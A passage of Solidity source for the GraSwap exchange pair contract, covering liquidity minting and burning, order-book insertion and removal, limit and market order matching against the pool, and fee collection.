liquidity = Math.sqrt(stockAmount.mul(moneyAmount)).sub(_MINIMUM_LIQUIDITY);
_mint(address(0), _MINIMUM_LIQUIDITY);
// permanently lock the first _MINIMUM_LIQUIDITY tokens
} else {
liquidity = Math.min(stockAmount.mul(_totalSupply) / uint(reserveStock),
moneyAmount.mul(_totalSupply) / uint(reserveMoney));
}
require(liquidity > 0, "GraSwap: INSUFFICIENT_MINTED");
_mint(to, liquidity);
_setReserves(stockBalance, moneyBalance, firstSellID);
if (feeOn) _kLast = stockBalance.mul(moneyBalance);
emit Mint(msg.sender, (moneyAmount<<112)|stockAmount, to);
}
// burn liquidity tokens and send stock&money to 'to'
function burn(address to) external override lock returns (uint stockAmount, uint moneyAmount) {
uint[5] memory proxyData;
ProxyData.fill(proxyData, 4+32*(ProxyData.COUNT+1));
(uint112 reserveStock, uint112 reserveMoney, uint32 firstSellID) = getReserves();
(uint bookedStock, uint bookedMoney, ) = getBooked();
uint stockBalance = _myBalance(ProxyData.stock(proxyData)).sub(bookedStock);
uint moneyBalance = _myBalance(ProxyData.money(proxyData)).sub(bookedMoney);
require(stockBalance >= uint(reserveStock) && moneyBalance >= uint(reserveMoney), "GraSwap: INVALID_BALANCE");
bool feeOn = _mintFee(reserveStock, reserveMoney, proxyData);
{
uint _totalSupply = totalSupply; // gas savings, must be defined here since totalSupply can update in _mintFee
uint liquidity = balanceOf[address(this)]; // we're sure liquidity < totalSupply
stockAmount = liquidity.mul(stockBalance) / _totalSupply;
moneyAmount = liquidity.mul(moneyBalance) / _totalSupply;
require(stockAmount > 0 && moneyAmount > 0, "GraSwap: INSUFFICIENT_BURNED");
//_burn(address(this), liquidity);
balanceOf[address(this)] = 0;
totalSupply = totalSupply.sub(liquidity);
emit Transfer(address(this), address(0), liquidity);
}
address graContract = ProxyData.graContract(proxyData);
_safeTransfer(ProxyData.stock(proxyData), to, stockAmount, graContract);
_safeTransfer(ProxyData.money(proxyData), to, moneyAmount, graContract);
stockBalance = stockBalance - stockAmount;
moneyBalance = moneyBalance - moneyAmount;
_setReserves(stockBalance, moneyBalance, firstSellID);
if (feeOn) _kLast = stockBalance.mul(moneyBalance);
emit Burn(msg.sender, (moneyAmount<<112)|stockAmount, to);
}
// take the extra money&stock in this pair to 'to'
function skim(address to) external override lock {
uint[5] memory proxyData;
ProxyData.fill(proxyData, 4+32*(ProxyData.COUNT+1));
address stockToken = ProxyData.stock(proxyData);
address moneyToken = ProxyData.money(proxyData);
(uint112 reserveStock, uint112 reserveMoney, ) = getReserves();
(uint bookedStock, uint bookedMoney, ) = getBooked();
uint balanceStock = _myBalance(stockToken);
uint balanceMoney = _myBalance(moneyToken);
require(balanceStock >= uint(bookedStock) + uint(reserveStock) &&
balanceMoney >= uint(bookedMoney) + uint(reserveMoney), "GraSwap: INVALID_BALANCE");
address graContract = ProxyData.graContract(proxyData);
_safeTransfer(stockToken, to, balanceStock-reserveStock-bookedStock, graContract);
_safeTransfer(moneyToken, to, balanceMoney-reserveMoney-bookedMoney, graContract);
}
// sync-up reserve stock&money in pool according to real balance
function sync() external override lock {
uint[5] memory proxyData;
ProxyData.fill(proxyData, 4+32*(ProxyData.COUNT+0));
(, , uint32 firstSellID) = getReserves();
(uint bookedStock, uint bookedMoney, ) = getBooked();
uint balanceStock = _myBalance(ProxyData.stock(proxyData));
uint balanceMoney = _myBalance(ProxyData.money(proxyData));
require(balanceStock >= bookedStock && balanceMoney >= bookedMoney, "GraSwap: INVALID_BALANCE");
_setReserves(balanceStock-bookedStock, balanceMoney-bookedMoney, firstSellID);
}
}
contract GraSwapPair is GraSwapPool, IGraSwapPair {
// the orderbooks. Gas is saved when using array to store them instead of mapping
uint[1<<22] private _sellOrders;
uint[1<<22] private _buyOrders;
uint32 private constant _MAX_ID = (1<<22)-1; // the maximum value of an order ID
function _expandPrice(uint32 price32, uint[5] memory proxyData) private pure returns (RatPrice memory price) {
price = DecFloat32.expandPrice(price32);
price.numerator *= ProxyData.priceMul(proxyData);
price.denominator *= ProxyData.priceDiv(proxyData);
}
function _expandPrice(Context memory ctx, uint32 price32) private pure returns (RatPrice memory price) {
price = DecFloat32.expandPrice(price32);
price.numerator *= ctx.priceMul;
price.denominator *= ctx.priceDiv;
}
function symbol() external override returns (string memory) {
uint[5] memory proxyData;
ProxyData.fill(proxyData, 4+32*(ProxyData.COUNT+0));
string memory s = "ETH";
address stock = ProxyData.stock(proxyData);
if(stock != address(0)) {
s = IERC20(stock).symbol();
}
string memory m = "ETH";
address money = ProxyData.money(proxyData);
if(money != address(0)) {
m = IERC20(money).symbol();
}
return string(abi.encodePacked(s, "/", m)); //to concat strings
}
// when emitting events, solidity's ABI pads each entry to uint256, which is so wasteful
// we compress the entries into one uint256 to save gas
function _emitNewLimitOrder(
uint64 addressLow, /*255~192*/
uint64 totalStockAmount, /*191~128*/
uint64 remainedStockAmount, /*127~64*/
uint32 price, /*63~32*/
uint32 orderID, /*31~8*/
bool isBuy /*7~0*/) private {
uint data = uint(addressLow);
data = (data<<64) | uint(totalStockAmount);
data = (data<<64) | uint(remainedStockAmount);
data = (data<<32) | uint(price);
data = (data<<32) | uint(orderID<<8);
if(isBuy) {
data = data | 1;
}
emit NewLimitOrder(data);
}
function _emitNewMarketOrder(
uint136 addressLow, /*255~120*/
uint112 amount, /*119~8*/
bool isBuy /*7~0*/) private {
uint data = uint(addressLow);
data = (data<<112) | uint(amount);
data = data<<8;
if(isBuy) {
data = data | 1;
}
emit NewMarketOrder(data);
}
function _emitOrderChanged(
uint64 makerLastAmount, /*159~96*/
uint64 makerDealAmount, /*95~32*/
uint32 makerOrderID, /*31~8*/
bool isBuy /*7~0*/) private {
uint data = uint(makerLastAmount);
data = (data<<64) | uint(makerDealAmount);
data = (data<<32) | uint(makerOrderID<<8);
if(isBuy) {
data = data | 1;
}
emit OrderChanged(data);
}
function _emitDealWithPool(
uint112 inAmount, /*131~120*/
uint112 outAmount,/*119~8*/
bool isBuy/*7~0*/) private {
uint data = uint(inAmount);
data = (data<<112) | uint(outAmount);
data = data<<8;
if(isBuy) {
data = data | 1;
}
emit DealWithPool(data);
}
function _emitRemoveOrder(
uint64 remainStockAmount, /*95~32*/
uint32 orderID, /*31~8*/
bool isBuy /*7~0*/) private {
uint data = uint(remainStockAmount);
data = (data<<32) | uint(orderID<<8);
if(isBuy) {
data = data | 1;
}
emit RemoveOrder(data);
}
// compress an order into a 256b integer
function _order2uint(Order memory order) internal pure returns (uint) {
uint n = uint(order.sender);
n = (n<<32) | order.price;
n = (n<<42) | order.amount;
n = (n<<22) | order.nextID;
return n;
}
// extract an order from a 256b integer
function _uint2order(uint n) internal pure returns (Order memory) {
Order memory order;
order.nextID = uint32(n & ((1<<22)-1));
n = n >> 22;
order.amount = uint64(n & ((1<<42)-1));
n = n >> 42;
order.price = uint32(n & ((1<<32)-1));
n = n >> 32;
order.sender = address(n);
return order;
}
// returns true if this order exists
function _hasOrder(bool isBuy, uint32 id) internal view returns (bool) {
if(isBuy) {
return _buyOrders[id] != 0;
} else {
return _sellOrders[id] != 0;
}
}
// load an order from storage, converting its compressed form into an Order struct
function _getOrder(bool isBuy, uint32 id) internal view returns (Order memory order, bool findIt) {
if(isBuy) {
order = _uint2order(_buyOrders[id]);
return (order, order.price != 0);
} else {
order = _uint2order(_sellOrders[id]);
return (order, order.price != 0);
}
}
// save an order to storage, converting it into compressed form
function _setOrder(bool isBuy, uint32 id, Order memory order) internal {
if(isBuy) {
_buyOrders[id] = _order2uint(order);
} else {
_sellOrders[id] = _order2uint(order);
}
}
// delete an order from storage
function _deleteOrder(bool isBuy, uint32 id) internal {
if(isBuy) {
delete _buyOrders[id];
} else {
delete _sellOrders[id];
}
}
function _getFirstOrderID(Context memory ctx, bool isBuy) internal pure returns (uint32) {
if(isBuy) {
return ctx.firstBuyID;
}
return ctx.firstSellID;
}
function _setFirstOrderID(Context memory ctx, bool isBuy, uint32 id) internal pure {
if(isBuy) {
ctx.firstBuyID = id;
} else {
ctx.firstSellID = id;
}
}
function removeOrders(uint[] calldata rmList) external override lock {
uint[5] memory proxyData;
uint expectedCallDataSize = 4+32*(ProxyData.COUNT+2+rmList.length);
ProxyData.fill(proxyData, expectedCallDataSize);
for(uint i = 0; i < rmList.length; i++) {
uint rmInfo = rmList[i];
bool isBuy = uint8(rmInfo) != 0;
uint32 id = uint32(rmInfo>>8);
uint72 prevKey = uint72(rmInfo>>40);
_removeOrder(isBuy, id, prevKey, proxyData);
}
}
function removeOrder(bool isBuy, uint32 id, uint72 prevKey) external override lock {
uint[5] memory proxyData;
ProxyData.fill(proxyData, 4+32*(ProxyData.COUNT+3));
_removeOrder(isBuy, id, prevKey, proxyData);
}
function _removeOrder(bool isBuy, uint32 id, uint72 prevKey, uint[5] memory proxyData) private {
Context memory ctx;
(ctx.bookedStock, ctx.bookedMoney, ctx.firstBuyID) = getBooked();
if(!isBuy) {
(ctx.reserveStock, ctx.reserveMoney, ctx.firstSellID) = getReserves();
}
Order memory order = _removeOrderFromBook(ctx, isBuy, id, prevKey); // this is the removed order
require(msg.sender == order.sender, "GraSwap: NOT_OWNER");
uint64 stockUnit = ProxyData.stockUnit(proxyData);
uint stockAmount = uint(order.amount)/*42bits*/ * uint(stockUnit);
address graContract = ProxyData.graContract(proxyData);
if(isBuy) {
RatPrice memory price = _expandPrice(order.price, proxyData);
uint moneyAmount = stockAmount * price.numerator/*54+64bits*/ / price.denominator;
ctx.bookedMoney -= moneyAmount;
_safeTransfer(ProxyData.money(proxyData), order.sender, moneyAmount, graContract);
} else {
ctx.bookedStock -= stockAmount;
_safeTransfer(ProxyData.stock(proxyData), order.sender, stockAmount, graContract);
}
_setBooked(ctx.bookedStock, ctx.bookedMoney, ctx.firstBuyID);
}
// remove an order from orderbook and return it
function _removeOrderFromBook(Context memory ctx, bool isBuy,
uint32 id, uint72 prevKey) internal returns (Order memory) {
(Order memory order, bool ok) = _getOrder(isBuy, id);
require(ok, "GraSwap: NO_SUCH_ORDER");
if(prevKey == 0) {
uint32 firstID = _getFirstOrderID(ctx, isBuy);
require(id == firstID, "GraSwap: NOT_FIRST");
_setFirstOrderID(ctx, isBuy, order.nextID);
if(!isBuy) {
_setReserves(ctx.reserveStock, ctx.reserveMoney, ctx.firstSellID);
}
} else {
(uint32 currID, Order memory prevOrder, bool findIt) = _getOrder3Times(isBuy, prevKey);
require(findIt, "GraSwap: INVALID_POSITION");
while(prevOrder.nextID != id) {
currID = prevOrder.nextID;
require(currID != 0, "GraSwap: REACH_END");
(prevOrder, ) = _getOrder(isBuy, currID);
}
prevOrder.nextID = order.nextID;
_setOrder(isBuy, currID, prevOrder);
}
_emitRemoveOrder(order.amount, id, isBuy);
_deleteOrder(isBuy, id);
return order;
}
// insert an order at the head of single-linked list
// this function does not check price, use it carefully
function _insertOrderAtHead(Context memory ctx, bool isBuy, Order memory order, uint32 id) private {
order.nextID = _getFirstOrderID(ctx, isBuy);
_setOrder(isBuy, id, order);
_setFirstOrderID(ctx, isBuy, id);
}
// prevKey contains 3 orders. try to get the first existing order
function _getOrder3Times(bool isBuy, uint72 prevKey) private view returns (
uint32 currID, Order memory prevOrder, bool findIt) {
currID = uint32(prevKey&_MAX_ID);
(prevOrder, findIt) = _getOrder(isBuy, currID);
if(!findIt) {
currID = uint32((prevKey>>24)&_MAX_ID);
(prevOrder, findIt) = _getOrder(isBuy, currID);
if(!findIt) {
currID = uint32((prevKey>>48)&_MAX_ID);
(prevOrder, findIt) = _getOrder(isBuy, currID);
}
}
}
// Given a valid start position, find a proper position to insert order
// prevKey contains three suggested order IDs, each takes 24 bits.
// We try them one by one to find a valid start position
// can not use this function to insert at head! if prevKey is all zero, it will return false
function _insertOrderFromGivenPos(bool isBuy, Order memory order,
uint32 id, uint72 prevKey) private returns (bool inserted) {
(uint32 currID, Order memory prevOrder, bool findIt) = _getOrder3Times(isBuy, prevKey);
if(!findIt) {
return false;
}
return _insertOrder(isBuy, order, prevOrder, id, currID);
}
// Starting from the head of orderbook, find a proper position to insert order
function _insertOrderFromHead(Context memory ctx, bool isBuy, Order memory order,
uint32 id) private returns (bool inserted) {
uint32 firstID = _getFirstOrderID(ctx, isBuy);
bool canBeFirst = (firstID == 0);
Order memory firstOrder;
if(!canBeFirst) {
(firstOrder, ) = _getOrder(isBuy, firstID);
canBeFirst = (isBuy && (firstOrder.price < order.price)) ||
(!isBuy && (firstOrder.price > order.price));
}
if(canBeFirst) {
order.nextID = firstID;
_setOrder(isBuy, id, order);
_setFirstOrderID(ctx, isBuy, id);
return true;
}
return _insertOrder(isBuy, order, firstOrder, id, firstID);
}
// starting from 'prevOrder', whose id is 'currID', find a proper position to insert order
function _insertOrder(bool isBuy, Order memory order, Order memory prevOrder,
uint32 id, uint32 currID) private returns (bool inserted) {
while(currID != 0) {
bool canFollow = (isBuy && (order.price <= prevOrder.price)) ||
(!isBuy && (order.price >= prevOrder.price));
if(!canFollow) {break;}
Order memory nextOrder;
if(prevOrder.nextID != 0) {
(nextOrder, ) = _getOrder(isBuy, prevOrder.nextID);
bool canPrecede = (isBuy && (nextOrder.price < order.price)) ||
(!isBuy && (nextOrder.price > order.price));
canFollow = canFollow && canPrecede;
}
if(canFollow) {
order.nextID = prevOrder.nextID;
_setOrder(isBuy, id, order);
prevOrder.nextID = id;
_setOrder(isBuy, currID, prevOrder);
return true;
}
currID = prevOrder.nextID;
prevOrder = nextOrder;
}
return false;
}
// to query the first sell price, the first buy price and the price of pool
function getPrices() external override returns (
uint firstSellPriceNumerator,
uint firstSellPriceDenominator,
uint firstBuyPriceNumerator,
uint firstBuyPriceDenominator,
uint poolPriceNumerator,
uint poolPriceDenominator) {
uint[5] memory proxyData;
ProxyData.fill(proxyData, 4+32*(ProxyData.COUNT+0));
(uint112 reserveStock, uint112 reserveMoney, uint32 firstSellID) = getReserves();
poolPriceNumerator = uint(reserveMoney);
poolPriceDenominator = uint(reserveStock);
firstSellPriceNumerator = 0;
firstSellPriceDenominator = 0;
firstBuyPriceNumerator = 0;
firstBuyPriceDenominator = 0;
if(firstSellID!=0) {
uint order = _sellOrders[firstSellID];
RatPrice memory price = _expandPrice(uint32(order>>64), proxyData);
firstSellPriceNumerator = price.numerator;
firstSellPriceDenominator = price.denominator;
}
uint32 id = uint32(_bookedStockAndMoneyAndFirstBuyID>>224);
if(id!=0) {
uint order = _buyOrders[id];
RatPrice memory price = _expandPrice(uint32(order>>64), proxyData);
firstBuyPriceNumerator = price.numerator;
firstBuyPriceDenominator = price.denominator;
}
}
// Get the orderbook's content, starting from id, to get no more than maxCount orders
function getOrderList(bool isBuy, uint32 id, uint32 maxCount) external override view returns (uint[] memory) {
if(id == 0) {
if(isBuy) {
id = uint32(_bookedStockAndMoneyAndFirstBuyID>>224);
} else {
id = uint32(_reserveStockAndMoneyAndFirstSellID>>224);
}
}
uint[1<<22] storage orderbook;
if(isBuy) {
orderbook = _buyOrders;
} else {
orderbook = _sellOrders;
}
//record block height at the first entry
uint order = (block.number<<24) | id;
uint addrOrig; // start of returned data
uint addrLen; // the slice's length is written at this address
uint addrStart; // the address of the first entry of returned slice
uint addrEnd; // ending address to write the next order
uint count = 0; // the slice's length
// solhint-disable-next-line no-inline-assembly
assembly {
addrOrig := mload(0x40) // There is a “free memory pointer” at address 0x40 in memory
mstore(addrOrig, 32) //the meaningful data start after offset 32
}
addrLen = addrOrig + 32;
addrStart = addrLen + 32;
addrEnd = addrStart;
while(count < maxCount) {
// solhint-disable-next-line no-inline-assembly
assembly {
mstore(addrEnd, order) //write the order
}
addrEnd += 32;
count++;
if(id == 0) {break;}
order = orderbook[id];
require(order!=0, "GraSwap: INCONSISTENT_BOOK");
id = uint32(order&_MAX_ID);
}
// solhint-disable-next-line no-inline-assembly
assembly {
mstore(addrLen, count) // record the returned slice's length
let byteCount := sub(addrEnd, addrOrig)
return(addrOrig, byteCount)
}
}
// Get an unused id to be used with new order
function _getUnusedOrderID(bool isBuy, uint32 id) internal view returns (uint32) {
if(id == 0) { // 0 is reserved
// solhint-disable-next-line avoid-tx-origin
id = uint32(uint(blockhash(block.number-1))^uint(tx.origin)) & _MAX_ID; //get a pseudo random number
}
for(uint32 i = 0; i < 100 && id <= _MAX_ID; i++) { //try 100 times
if(!_hasOrder(isBuy, id)) {
return id;
}
id++;
}
require(false, "GraSwap: CANNOT_FIND_VALID_ID");
return 0;
}
function calcStockAndMoney(uint64 amount, uint32 price32) external pure override returns (uint stockAmount, uint moneyAmount) {
uint[5] memory proxyData;
ProxyData.fill(proxyData, 4+32*(ProxyData.COUNT+2));
(stockAmount, moneyAmount, ) = _calcStockAndMoney(amount, price32, proxyData);
}
function _calcStockAndMoney(uint64 amount, uint32 price32, uint[5] memory proxyData) private pure returns (uint stockAmount, uint moneyAmount, RatPrice memory price) {
price = _expandPrice(price32, proxyData);
uint64 stockUnit = ProxyData.stockUnit(proxyData);
stockAmount = uint(amount)/*42bits*/ * uint(stockUnit);
moneyAmount = stockAmount * price.numerator/*54+64bits*/ /price.denominator;
}
function addLimitOrder(bool isBuy, address sender, uint64 amount, uint32 price32,
uint32 id, uint72 prevKey) external payable override lock {
uint[5] memory proxyData;
ProxyData.fill(proxyData, 4+32*(ProxyData.COUNT+6));
require(ProxyData.isOnlySwap(proxyData)==false, "GraSwap: LIMIT_ORDER_NOT_SUPPORTED");
Context memory ctx;
ctx.stockUnit = ProxyData.stockUnit(proxyData);
ctx.graContract = ProxyData.graContract(proxyData);
ctx.factory = ProxyData.factory(proxyData);
ctx.stockToken = ProxyData.stock(proxyData);
ctx.moneyToken = ProxyData.money(proxyData);
ctx.priceMul = ProxyData.priceMul(proxyData);
ctx.priceDiv = ProxyData.priceDiv(proxyData);
ctx.hasDealtInOrderBook = false;
ctx.isLimitOrder = true;
ctx.order.sender = sender;
ctx.order.amount = amount;
ctx.order.price = price32;
ctx.newOrderID = _getUnusedOrderID(isBuy, id);
RatPrice memory price;
{// to prevent "CompilerError: Stack too deep, try removing local variables."
require((amount >> 42) == 0, "GraSwap: INVALID_AMOUNT");
uint32 m = price32 & DecFloat32.MANTISSA_MASK;
require(DecFloat32.MIN_MANTISSA <= m && m <= DecFloat32.MAX_MANTISSA, "GraSwap: INVALID_PRICE");
uint stockAmount;
uint moneyAmount;
(stockAmount, moneyAmount, price) = _calcStockAndMoney(amount, price32, proxyData);
if(isBuy) {
ctx.remainAmount = moneyAmount;
} else {
ctx.remainAmount = stockAmount;
}
}
require(ctx.remainAmount < uint(1<<112), "GraSwap: OVERFLOW");
(ctx.reserveStock, ctx.reserveMoney, ctx.firstSellID) = getReserves();
(ctx.bookedStock, ctx.bookedMoney, ctx.firstBuyID) = getBooked();
_checkRemainAmount(ctx, isBuy);
if(prevKey != 0) { // try to insert it
bool inserted = _insertOrderFromGivenPos(isBuy, ctx.order, ctx.newOrderID, prevKey);
if(inserted) { // if inserted successfully, record the booked tokens
_emitNewLimitOrder(uint64(ctx.order.sender), amount, amount, price32, ctx.newOrderID, isBuy);
if(isBuy) {
ctx.bookedMoney += ctx.remainAmount;
} else {
ctx.bookedStock += ctx.remainAmount;
}
_setBooked(ctx.bookedStock, ctx.bookedMoney, ctx.firstBuyID);
if(ctx.reserveChanged) {
_setReserves(ctx.reserveStock, ctx.reserveMoney, ctx.firstSellID);
}
return;
}
// if insertion failed, we try to match this order and make it deal
}
_addOrder(ctx, isBuy, price);
}
function addMarketOrder(address inputToken, address sender,
uint112 inAmount) external payable override lock returns (uint) {
uint[5] memory proxyData;
ProxyData.fill(proxyData, 4+32*(ProxyData.COUNT+3));
Context memory ctx;
ctx.moneyToken = ProxyData.money(proxyData);
ctx.stockToken = ProxyData.stock(proxyData);
require(inputToken == ctx.moneyToken || inputToken == ctx.stockToken, "GraSwap: INVALID_TOKEN");
bool isBuy = inputToken == ctx.moneyToken;
ctx.stockUnit = ProxyData.stockUnit(proxyData);
ctx.priceMul = ProxyData.priceMul(proxyData);
ctx.priceDiv = ProxyData.priceDiv(proxyData);
ctx.graContract = ProxyData.graContract(proxyData);
ctx.factory = ProxyData.factory(proxyData);
ctx.hasDealtInOrderBook = false;
ctx.isLimitOrder = false;
ctx.remainAmount = inAmount;
(ctx.reserveStock, ctx.reserveMoney, ctx.firstSellID) = getReserves();
(ctx.bookedStock, ctx.bookedMoney, ctx.firstBuyID) = getBooked();
_checkRemainAmount(ctx, isBuy);
ctx.order.sender = sender;
if(isBuy) {
ctx.order.price = DecFloat32.MAX_PRICE;
} else {
ctx.order.price = DecFloat32.MIN_PRICE;
}
RatPrice memory price; // leave it to zero, actually it will not be used;
_emitNewMarketOrder(uint136(ctx.order.sender), inAmount, isBuy);
return _addOrder(ctx, isBuy, price);
}
// Check router contract did send me enough tokens.
// If Router sent to much tokens, take them as reserve money&stock
function _checkRemainAmount(Context memory ctx, bool isBuy) private view {
ctx.reserveChanged = false;
uint diff;
if(isBuy) {
uint balance = _myBalance(ctx.moneyToken);
require(balance >= ctx.bookedMoney + ctx.reserveMoney, "GraSwap: MONEY_MISMATCH");
diff = balance - ctx.bookedMoney - ctx.reserveMoney;
if(ctx.remainAmount < diff) {
ctx.reserveMoney += (diff - ctx.remainAmount);
ctx.reserveChanged = true;
}
} else {
uint balance = _myBalance(ctx.stockToken);
require(balance >= ctx.bookedStock + ctx.reserveStock, "GraSwap: STOCK_MISMATCH");
diff = balance - ctx.bookedStock - ctx.reserveStock;
if(ctx.remainAmount < diff) {
ctx.reserveStock += (diff - ctx.remainAmount);
ctx.reserveChanged = true;
}
}
require(ctx.remainAmount <= diff, "GraSwap: DEPOSIT_NOT_ENOUGH");
}
// internal helper function to add new limit order & market order
// returns the amount of tokens which were sent to the taker (from AMM pool and booked tokens)
function _addOrder(Context memory ctx, bool isBuy, RatPrice memory price) private returns (uint) {
(ctx.dealMoneyInBook, ctx.dealStockInBook) = (0, 0);
ctx.firstID = _getFirstOrderID(ctx, !isBuy);
uint32 currID = ctx.firstID;
ctx.amountIntoPool = 0;
while(currID != 0) { // while not reaching the end of single-linked
(Order memory orderInBook, ) = _getOrder(!isBuy, currID);
bool canDealInOrderBook = (isBuy && (orderInBook.price <= ctx.order.price)) ||
(!isBuy && (orderInBook.price >= ctx.order.price));
if(!canDealInOrderBook) {break;} // no proper price in orderbook, stop here
// Deal in liquid pool
RatPrice memory priceInBook = _expandPrice(ctx, orderInBook.price);
bool allDeal = _tryDealInPool(ctx, isBuy, priceInBook);
if(allDeal) {break;}
// Deal in orderbook
_dealInOrderBook(ctx, isBuy, currID, orderInBook, priceInBook);
// if the order in book did NOT fully deal, then this new order DID fully deal, so stop here
if(orderInBook.amount != 0) {
_setOrder(!isBuy, currID, orderInBook);
break;
}
// if the order in book DID fully deal, then delete this order from storage and move to the next
_deleteOrder(!isBuy, currID);
currID = orderInBook.nextID;
}
// Deal in liquid pool
if(ctx.isLimitOrder) {
// use current order's price to deal with pool
_tryDealInPool(ctx, isBuy, price);
// If a limit order did NOT fully deal, we add it into orderbook
// Please note a market order always fully deals
_insertOrderToBook(ctx, isBuy, price);
} else {
// the AMM pool can deal with orders with any amount
ctx.amountIntoPool += ctx.remainAmount; // both of them are less than 112 bits
ctx.remainAmount = 0;
}
uint amountToTaker = _dealWithPoolAndCollectFee(ctx, isBuy);
if(isBuy) {
ctx.bookedStock -= ctx.dealStockInBook; //If this subtraction overflows, _setBooked will fail
} else {
ctx.bookedMoney -= ctx.dealMoneyInBook; //If this subtraction overflows, _setBooked will fail
}
if(ctx.firstID != currID) { //some orders DID fully deal, so the head of single-linked list change
_setFirstOrderID(ctx, !isBuy, currID);
}
// write the cached values to storage
_setBooked(ctx.bookedStock, ctx.bookedMoney, ctx.firstBuyID);
_setReserves(ctx.reserveStock, ctx.reserveMoney, ctx.firstSellID);
return amountToTaker;
}
// Given reserveMoney and reserveStock in AMM pool, calculate how much tokens will go into the pool if the
// final price is 'price'
function _intopoolAmountTillPrice(bool isBuy, uint reserveMoney, uint reserveStock,
RatPrice memory price) private pure returns (uint result) {
// sqrt(Pold/Pnew) = sqrt((2**32)*M_old*PnewDenominator / (S_old*PnewNumerator)) / (2**16)
// sell, stock-into-pool, Pold > Pnew
uint numerator = reserveMoney/*112bits*/ * price.denominator/*76+64bits*/;
uint denominator = reserveStock/*112bits*/ * price.numerator/*54+64bits*/;
if(isBuy) { // buy, money-into-pool, Pold < Pnew
// sqrt(Pnew/Pold) = sqrt((2**32)*S_old*PnewNumerator / (M_old*PnewDenominator)) / (2**16)
(numerator, denominator) = (denominator, numerator);
}
while(numerator >= (1<<192)) { // can not equal to (1<<192) !!!
numerator >>= 16;
denominator >>= 16;
}
require(denominator != 0, "GraSwapPair: DIV_BY_ZERO");
numerator = numerator * (1<<64);
uint quotient = numerator / denominator;
if(quotient <= (1<<64)) {
return 0;
} else if(quotient <= ((1<<64)*5/4)) {
// Taylor expansion: x/2 - x*x/8 + x*x*x/16
uint x = quotient - (1<<64);
uint y = x*x;
y = x/2 - y/(8*(1<<64)) + y*x/(16*(1<<128));
if(isBuy) {
result = reserveMoney * y;
} else {
result = reserveStock * y;
}
result /= (1<<64);
return result;
}
uint root = Math.sqrt(quotient); //root is at most 110bits
uint diff = root - (1<<32); //at most 110bits
if(isBuy) {
result = reserveMoney * diff;
} else {
result = reserveStock * diff;
}
result /= (1<<32);
return result;
}
// Current order tries to deal against the AMM pool. Returns whether current order fully deals.
function _tryDealInPool(Context memory ctx, bool isBuy, RatPrice memory price) private pure returns (bool) {
uint currTokenCanTrade = _intopoolAmountTillPrice(isBuy, ctx.reserveMoney, ctx.reserveStock, price);
require(currTokenCanTrade < uint(1<<112), "GraSwap: CURR_TOKEN_TOO_LARGE");
// all the below variables are less than 112 bits
if(!isBuy) {
currTokenCanTrade /= ctx.stockUnit; //to round
currTokenCanTrade *= ctx.stockUnit;
}
if(currTokenCanTrade > ctx.amountIntoPool) {
uint diffTokenCanTrade = currTokenCanTrade - ctx.amountIntoPool;
bool allDeal = diffTokenCanTrade >= ctx.remainAmount;
if(allDeal) {
diffTokenCanTrade = ctx.remainAmount;
}
ctx.amountIntoPool += diffTokenCanTrade;
ctx.remainAmount -= diffTokenCanTrade;
return allDeal;
}
return false;
}
// Current order tries to deal against the orders in book
function _dealInOrderBook(Context memory ctx, bool isBuy, uint32 currID,
Order memory orderInBook, RatPrice memory priceInBook) internal {
ctx.hasDealtInOrderBook = true;
uint stockAmount;
if(isBuy) {
uint a = ctx.remainAmount/*112bits*/ * priceInBook.denominator/*76+64bits*/;
uint b = priceInBook.numerator/*54+64bits*/ * ctx.stockUnit/*64bits*/;
stockAmount = a/b;
} else {
stockAmount = ctx.remainAmount/ctx.stockUnit;
}
if(uint(orderInBook.amount) < stockAmount) {
stockAmount = uint(orderInBook.amount);
}
require(stockAmount < (1<<42), "GraSwap: STOCK_TOO_LARGE");
uint stockTrans = stockAmount/*42bits*/ * ctx.stockUnit/*64bits*/;
uint moneyTrans = stockTrans * priceInBook.numerator/*54+64bits*/ / priceInBook.denominator/*76+64bits*/;
_emitOrderChanged(orderInBook.amount, uint64(stockAmount), currID, isBuy);
orderInBook.amount -= uint64(stockAmount);
if(isBuy) { //subtraction cannot overflow: moneyTrans and stockTrans are calculated from remainAmount
ctx.remainAmount -= moneyTrans;
} else {
ctx.remainAmount -= stockTrans;
}
// following accumulations can not overflow, because stockTrans(moneyTrans) at most 106bits(160bits)
// we know for sure that dealStockInBook and dealMoneyInBook are less than 192 bits
ctx.dealStockInBook += stockTrans;
ctx.dealMoneyInBook += moneyTrans;
if(isBuy) {
_safeTransfer(ctx.moneyToken, orderInBook.sender, moneyTrans, ctx.graContract);
} else {
_safeTransfer(ctx.stockToken, orderInBook.sender, stockTrans, ctx.graContract);
}
}
// make real deal with the pool and then collect fee, which will be added to AMM pool
function _dealWithPoolAndCollectFee(Context memory ctx, bool isBuy) internal returns (uint) {
(uint outpoolTokenReserve, uint inpoolTokenReserve, uint otherToTaker) = (
ctx.reserveMoney, ctx.reserveStock, ctx.dealMoneyInBook);
if(isBuy) {
(outpoolTokenReserve, inpoolTokenReserve, otherToTaker) = (
ctx.reserveStock, ctx.reserveMoney, ctx.dealStockInBook);
}
// all these 4 varialbes are less than 112 bits
// outAmount is sure to less than outpoolTokenReserve (which is ctx.reserveStock or ctx.reserveMoney)
uint outAmount = (outpoolTokenReserve*ctx.amountIntoPool)/(inpoolTokenReserve+ctx.amountIntoPool);
if(ctx.amountIntoPool > 0) {
_emitDealWithPool(uint112(ctx.amountIntoPool), uint112(outAmount), isBuy);
}
uint32 feeBPS = IGraSwapFactory(ctx.factory).feeBPS();
// the token amount that should go to the taker,
// for buy-order, it's stock amount; for sell-order, it's money amount
uint amountToTaker = outAmount + otherToTaker;
require(amountToTaker < uint(1<<112), "GraSwap: AMOUNT_TOO_LARGE");
uint fee = (amountToTaker * feeBPS + 9999) / 10000;
amountToTaker -= fee;
if(isBuy) {
ctx.reserveMoney = ctx.reserveMoney + ctx.amountIntoPool;
ctx.reserveStock = ctx.reserveStock - outAmount + fee;
} else {
ctx.reserveMoney = ctx.reserveMoney - outAmount + fee;
ctx.reserveStock = ctx.reserveStock + ctx.amountIntoPool;
}
address token = ctx.moneyToken;
if(isBuy) {
token = ctx.stockToken;
}
_safeTransfer(token, ctx.order.sender, amountToTaker, ctx.graContract);
return amountToTaker;
}
// Insert a not-fully-deal limit order into orderbook
function _insertOrderToBook(Context memory ctx, bool isBuy, RatPrice memory price) internal {
(uint smallAmount, uint moneyAmount, uint stockAmount) = (0, 0, 0);
if(isBuy) {
uint tempAmount1 = ctx.remainAmount /*112bits*/ * price.denominator /*76+64bits*/;
uint temp = ctx.stockUnit * price.numerator/*54+64bits*/;
stockAmount = tempAmount1 / temp;
